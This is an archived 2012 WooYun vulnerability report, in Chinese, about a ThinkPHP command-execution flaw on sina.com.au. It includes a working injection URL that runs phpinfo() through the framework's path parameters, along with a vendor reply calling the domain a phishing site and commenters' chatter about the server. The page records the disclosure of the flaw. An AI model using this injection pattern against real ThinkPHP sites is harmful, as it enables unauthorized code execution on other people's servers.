当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07605

漏洞标题：sina澳洲 主站存在远程执行漏洞

相关厂商：新浪

漏洞作者： Metasploit

提交时间：2012-05-28 15:13

修复时间：2012-05-28 15:24

公开时间：2012-05-28 15:24

漏洞类型：命令执行

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-28： 细节已通知厂商并且等待厂商处理中
2012-05-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

phpthink框架命令执行

详细说明：

http://www.sina.com.au/index.php/module/action/param1/$%7B@phpinfo()%7D

漏洞证明：

修复方案：

你们懂

版权声明：转载请注明来源 Metasploit@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-05-28 15:24

厂商回复：

很不幸 sina.com.au 是一个钓鱼网站，不是新浪注册的

漏洞Rank：8 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2012-05-28 15:22 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    我肿么没有找到过澳洲分站呢

  2. 2012-05-28 15:23 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    确实存在tp问题... 2.1是重灾区

  3. 2012-05-28 15:24 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    @蟋蟀哥哥 http://www.sina.com.au/index.php 这个咯

  4. 2012-05-28 15:33 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    话说好多的厂商都被钓鱼了。哈哈哈

  5. 2012-05-28 15:35 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @疯子 嗯。看了的。估计已经在被刷库了。。 mysql太忙..

  6. 2012-05-28 15:38 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    Windows Server 2003 R2 Standard Edition Service Pack 2sina怎么会用window的系统呢?

  7. 2012-05-28 15:41 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    Registrant: Sina Australia Pty. Ltd.Registrant ID: ABN 55143564407名字看起来像sina的合作伙伴,有ABN证明是个正规的公司.ABN好像是澳洲的税号

  8. 2012-05-28 15:50 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    查了下域名注册信息，说是新浪澳洲有限公司。谁知道是个钓鱼的站。。

  9. 2012-05-28 15:53 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @Metasploit 我勒个去，是你提交的啊。站长童鞋。

  10. 2012-05-28 15:54 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @Metasploit 像这种，sina可以直接提起仲裁把域名要回来的

  11. 2012-05-28 15:55 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @蟋蟀哥哥 人力和财力估计跟不上来。

  12. 2012-05-28 16:04 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @zeracker 这种完全可以仲裁回来的，只要sina有专人在管理域名.和美国联系就可以，不过需要举证和长时间的交流.

  13. 2012-05-29 13:52 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    @Metasploit 你终于混到ID了 呵呵